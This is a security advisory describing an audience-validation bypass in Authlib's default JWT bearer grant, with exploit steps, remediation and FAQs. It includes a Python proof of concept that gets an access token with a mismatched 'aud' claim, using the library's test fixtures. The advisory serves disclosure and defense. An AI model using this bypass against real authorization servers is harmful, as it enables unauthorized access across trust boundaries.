GHSA-fch4-3c6x-j4gc: Medium severity pip/authlib vulnerability
Description
Summary
Authlib's default RFC 7523 JWT bearer grant leaves getaudiences() empty, so verifyclaims() only checks that an aud claim exists instead of requiring it to match the current authorization server's token endpoint. An attacker holding a legitimately issued JWT assertion for any audience can present it to a different authorization server sharing the same signing key and obtain an access token.
To be completely transparent, AI tools helped surface it. However, we have independently reproduced and carefully validated the issue. We follow responsible disclosure practices and are sharing this privately.
Affected Entrypoints
- authlib.oauth2.rfc7523.JWTBearerGrant — default getaudiences() returns empty list - authlib.jose.jwt.decode() with claimsoptions for audience validation - authlib.integrations.flaskoauth2.ResourceProtector.validaterequest() when audience checking is enabled
Exploit Path
1. Attacker authenticates to Service A (low-privilege) 2. Authorization server issues JWT with "aud": "https://evil.test/token" 3. Attacker presents this assertion to Service B's token endpoint 4. Service B uses default JWTBearerGrant (getaudiences() = []) 5. verifyclaims() only checks aud exists, not its value 6. Service B issues an access token — audience bypass achieved
Proof of Concept
python #!/usr/bin/env python3 """ Demonstrates that the default JWTBearerGrant accepts JWT assertions whose audience does not match the token endpoint, while a strict audience override correctly rejects them. """ import json import os import sys
from joserfc.jwk import KeySet, OctKey
WRONGAUDIENCE = "https://evil.test/token" EXPECTEDAUDIENCE = "https://provider.test/token" GRANTTYPE = "urn:ietf:params:oauth:grant-type:jwt-bearer"
def buildandexercise(strictaudience: bool) -> tuple[int, dict]: from authlib.oauth2.rfc7523 import JWTBearerGrant as BaseJWTBearerGrant # Uses Authlib's own Flask test fixtures from tests.flask.testoauth2.models import Client, User, db from tests.flask.testoauth2.oauth2server import ( createauthorizationserver, createflaskapp, )
class JWTBearerGrant(BaseJWTBearerGrant): def resolveissuerclient(self, issuer): return Client.query.filterby(clientid=issuer).first()
def resolveclientpublickey(self, client): return KeySet([ OctKey.importkey("foo", {"kid": "1"}), OctKey.importkey("bar", {"kid": "2"}), ])
def authenticateuser(self, subject): return None
def hasgrantedpermission(self, client, user): return True
# Only override getaudiences when testing strict mode if strictaudience: def getaudiences(self): return [EXPECTEDAUDIENCE]
app = createflaskapp() os.environ["AUTHLIBINSECURETRANSPORT"] = "true"
with app.appcontext(): db.initapp(app) db.createall()
user = User(username="demo-user") db.session.add(user) db.session.commit()
client = Client( userid=user.id, clientid="client-id", clientsecret="client-secret", ) client.setclientmetadata({ "scope": "profile", "redirecturis": ["https://client.test/authorized"], "granttypes": [GRANTTYPE], }) db.session.add(client) db.session.commit()
server = createauthorizationserver(app) server.registergrant(JWTBearerGrant)
# Sign assertion with WRONG audience assertion = JWTBearerGrant.sign( "foo", issuer="client-id", audience=WRONGAUDIENCE, # <-- Not the expected audience subject=None, header={"alg": "HS256", "kid": "1"}, )
rv = app.testclient().post( "/oauth/token", data={"granttype": GRANTTYPE, "assertion": assertion}, ) body = json.loads(rv.data) db.session.remove() db.dropall() return rv.statuscode, body
def main() -> int: # Test 1: Default grant (no audience enforcement) vulnstatus, vulnbody = buildandexercise(strictaudience=False)
# Test 2: Strict audience grant (correct behavior) strictstatus, strictbody = buildandexercise(strictaudience=True)
result = { "wrongaudience": WRONGAUDIENCE, "expectedaudience": EXPECTEDAUDIENCE, "vulnerablestatus": vulnstatus, "vulnerablebody": vulnbody, "strictstatus": strictstatus, "strictbody": strictbody, } print(json.dumps(result, indent=2, sortkeys=True))
if ( vulnstatus == 200 and "accesstoken" in vulnbody and strictbody.get("error") == "invalidgrant" ): print( "POCSUCCESS: default JWTBearerGrant issued an access token for " "an assertion whose aud did not match the token endpoint, while " "strict audience validation rejected the same assertion." ) return 0
print("POCFAILURE: expected token issuance under default grant " "and invalidgrant under strict audience control.") return 1
if name == "main": raise SystemExit(main())
Observed Result
- Default grant (vulnerable): HTTP 200, accesstoken issued despite aud: "https://evil.test/token" - Strict grant (fixed): HTTP 400, error: "invalidgrant" — correctly rejects mismatched audience - Confirms the default getaudiences() returns empty, so audience validation is effectively skipped
Impact
- Vulnerability Type: CWE-287 — Improper Authentication - An attacker with a valid JWT assertion for any service can use it to obtain tokens from a different service sharing the same signing keys - Particularly dangerous in microservice architectures where services share identity infrastructure - Enables unauthorized access escalation across trust boundaries - The vulnerability is in the default behavior — most integrations won't override getaudiences() --- Credit Reported by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/authlibto a version that resolves this vulnerability.Fixed in 1.9.0 - Configuration
Override the default JWTBearerGrant get_audiences() method to return the authorization server's expected token endpoint audience, such as [EXPECTED_AUDIENCE], so JWT assertions with a mismatched aud claim are rejected with invalid_grant.
Authlib authlib.oauth2.rfc7523.JWTBearerGrant get_audiences() = ["https://provider.test/token"]
Event History
Frequently Asked Questions
Which deployments are exposed to cross-server token reuse?
Deployments using Authlib's default JWTBearerGrant are exposed when multiple authorization servers share the same JWT signing key. The issue arises because the default audience list is empty, so the assertion audience is not required to match the receiving server's token endpoint.
What does an attacker need to exploit this issue?
An attacker needs a legitimately issued JWT assertion for any audience and access to a different authorization server that shares the signing key. They must be able to present that assertion to the second server's token endpoint.
Are default JWT bearer grant configurations affected?
Yes. The default JWTBearerGrant get_audiences() implementation returns an empty list, causing verification to check only for the presence of an aud claim rather than requiring a matching audience.
How can I determine whether my service is affected?
Review JWTBearerGrant implementations and determine whether get_audiences() is left at its default empty-list behavior. Also identify authorization servers sharing JWT signing keys and check whether they accept assertions issued for audiences other than their own token endpoints.